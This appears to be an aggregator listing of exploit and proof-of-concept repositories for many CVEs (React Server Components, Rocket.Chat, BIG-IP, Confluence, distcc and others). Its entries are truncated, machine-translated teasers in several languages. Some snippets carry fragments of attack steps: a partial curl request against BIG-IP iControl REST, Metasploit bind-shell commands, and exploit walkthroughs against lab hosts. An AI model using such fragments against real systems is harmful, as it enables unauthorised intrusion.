CVE-2025-55182

Applicazione React vulnerabile CVE-2025-55182 Questa applicazione è una Proof of Concept PoC per CVE-2025-55182 , una vulnerabilità critica di Remote Code Execution RCE nei React Server Components. Dettagli della vulnerabilità ID CVE : CVE-2025-55182 Gravità : Critica CVSS 10.0 Componenti...

CVE-2021-22911

Exploit atualizado para CVE-2021-22911 Rocket.Chat 3.12.1 - Injeção NoSQL para RCE Não Autenticado créditos originais para: https://www.exploit-db.com/exploits/50108 Configuração Crie um ambiente virtual Python e instale as dependências root@kitploit: $ python -m venv venv $ source...

CVE-2022-41924

CVE-2022-41924 POC 👉 https://oalieno.tw/posts/tailscale-rce...

CVE-2022-24086-RCE-PoC

CVE-2022-24086 RCE POC परिचय CVE-2022-24086, जिसे Adobe ने “बहुत सीमित हमलों में वास्तविक दुनिया में शोषित” exploited in the wild के रूप में देखा, को 10 में से 9.8 की गंभीरता रेटिंग मिली, और इसे शोषित करने वाले विरोधी प्रभावित सिस्टम पर बिना प्रमाणीकरण के रिमोट कोड निष्पादन प्राप्त कर सकते हैं। य...

Microsoft-Windows-SMBGhost-Vulnerability-Checker---CVE-2020-0796---SMBv3-RCE

Microsoft Windows SMBGhost Controllo Vulnerabilità - CVE-2020-0796 - SMBv3-RCE Lo scanner è destinato solo a testare se un server è vulnerabile. Non è destinato alla ricerca o allo sviluppo, da qui il payload fisso. Verifica il dialetto SMB 3.1.1 e la capacità di compressione tramite una richiest...

CVE-2022-26134

CVE-2022-26134 Confluence Server und Data Center – CVE-2022-26134 – Kritische Sicherheitslücke für nicht authentifizierte Remote-Codeausführung...

smartermail-cve-scanner

Scanner SmarterMail CVE-2025-52691 Vulnerabilità RCE CVSS 10.0 in SmarterMail. Il tuo server di posta è vulnerabile? Scanner rapido e accurato per CVE-2025-52691 - una vulnerabilità critica di caricamento arbitrario di file senza autenticazione che consente l'esecuzione remota di codice sui serve...

react2shell-scanner

🚨 React2Shell Scanner RCE con CVSS 10.0 nei React Server Components. La tua app React 19 è vulnerabile? Scanner rapido e accurato per CVE-2025-55182 React2Shell - una vulnerabilità critica di esecuzione remota di codice sfruttata attivamente in ambienti reali. Zero falsi positivi grazie al...

CVE-2021-40444-Microsoft-Office-Word-Remote-Code-Execution-

CVE-2021-40444-Microsoft-Office-Word-Remote-Code-Execution-...

CVE-2022-44877

Centos Web Panel 7 Unautorisierte Remote-Codeausführung - CVE-2022-44877 root@kitploit: + Centos Web Panel 7 Unauthenticated Remote Code Execution + Centos Web Panel 7 - log ➜ CVE-2022-44877 cat log examplelog ➜ CVE-2022-44877 echo "examplelog $whoami" log ➜ CVE-2022-44877 cat log examplelog...

CVE-2022-1388

CVE-2022-1388 BIG-IP iControl REST-Sicherheitslücke CVE-2022-1388 Verwendung Dieser POC ist verifiziert! root@kitploit: curl -i -s -k -X $'POST' \ -H $'Host: localhost' -H $'Connection: keep-alive, X-F5-Auth-Token' -H $'Authorization: Basic YWRtaW46' -H $'X-F5-Auth-Token: a' -H $'Content-Length:...

CVE-2021-23758-POC

CVE-2021-23758-POC Questa repo è stata creata per la formazione sulla vulnerabilità in ajaxpro, divulgata con il numero ID CVE-2021-23758. POC root@kitploit: POST /ajaxpro/CVE202123758POC.demo,CVE202123758.ashx HTTP/2 Host: localhost:44375 Content-Length: 567 Sec-Ch-Ua: " Not A;Brand";v="99",...

PHP-CGI-Argument-Injection-Exploit

🎬 Questo video di YouTube 1️⃣ Verifica del target Trova l'IP di Metasploitable da Kali: root@kitploit: ip a Ad esempio: Kali: 192.168.56.101 Metasploitable2: 192.168.56.102 Controlliamo porta e servizio: root@kitploit: nmap -p 80 192.168.56.102 Puoi verificare anche nel browser:...

Metasploitable-2-Distcc-Exploit-via-Kali-Linux-CVE-2004-2687

🎬 Questo video YouTube 1️⃣ Identificazione del target Nmap root@kitploit: nmap -sV -p 3632 192.168.56.102 ✅ Il risultato sarà: 3632/tcp open distccd v1 👉 Quindi distcc è aperto e sfruttabile. 2️⃣ Avviare Metasploit root@kitploit: msfconsole 3️⃣ Selezionare l'exploit per distcc root@kitploit: use...

CVE-2025-55182-Metasploit-exploit-skeleton-real-flow-

🧪 PASSO 1: Demo di web-app vulnerabile LAB Creiamo una logica simile a CVE-2025-55182 esecuzione non sicura lato server. 📁 vulnapp/app.py root@kitploit: from flask import Flask, request import subprocess app = Flaskname @app.route"/render", methods="POST" def render: data =...

CVE-2017-16082

CVE-2017-16082 Visão geral As versões afetadas de pg contêm uma vulnerabilidade de execução remota de código que ocorre quando o banco de dados remoto ou a consulta especifica um nome de coluna malicioso. Existem dois cenários específicos nos quais é provável que uma aplicação seja vulnerável: 1....

-CVE-2021-44790

CVE-2021-44790 وصف CVE-2021-44790 يصف CVE-2021-44790 ثغرة أمنية على مستوى النظام تقع في وحدة modlua لخادم Apache HTTP، وتحديدًا في الإصدار 2.4.51 والإصدارات السابقة له. يتم تفعيل هذه الثغرة عندما تتعامل الدالة r:parsebody مع طلبات HTTP multipart/form-data بشكل غير صحيح، وغالبًا ما يكون السبب هو...

Project-CVE-2026-75604

Ricerca sulla Sicurezza del Traversal della Cache di Next.js su Windows Solo ricerca difensiva sulla sicurezza e validazione autorizzata. Questo repository riguarda CVE-2026-75604 , una vulnerabilità critica che potrebbe consentire l'esecuzione remota di codice non autenticata su alcune...

goahead-rce-exploit

GoAhead Web Server 2.5 use multi/handler msf6 exploitmulti/handler set payload generic/shellbindtcp msf6 exploitmulti/handler set LPORT=1337 msf6 exploitmulti/handler set RHOST=192.168.1.200 msf6 exploitmulti/handler run Started bind TCP handler against 192.168.1.200:1337...

CVE-2022-22965

CVE-2022-22965 Spring Framework/CVE-2022-22965 ID di vulnerabilità: CVE-2022-22965/CNVD-2022-23942/QVD-2022-1691 Riprodurre la vulnerabilità root@kitploit: docker pull vulfocus/spring-core-rce-2022-03-29 docker run -dit -p 8080:8080 vulfocus/spring-core-rce-2022-03-29 Rilevamento della...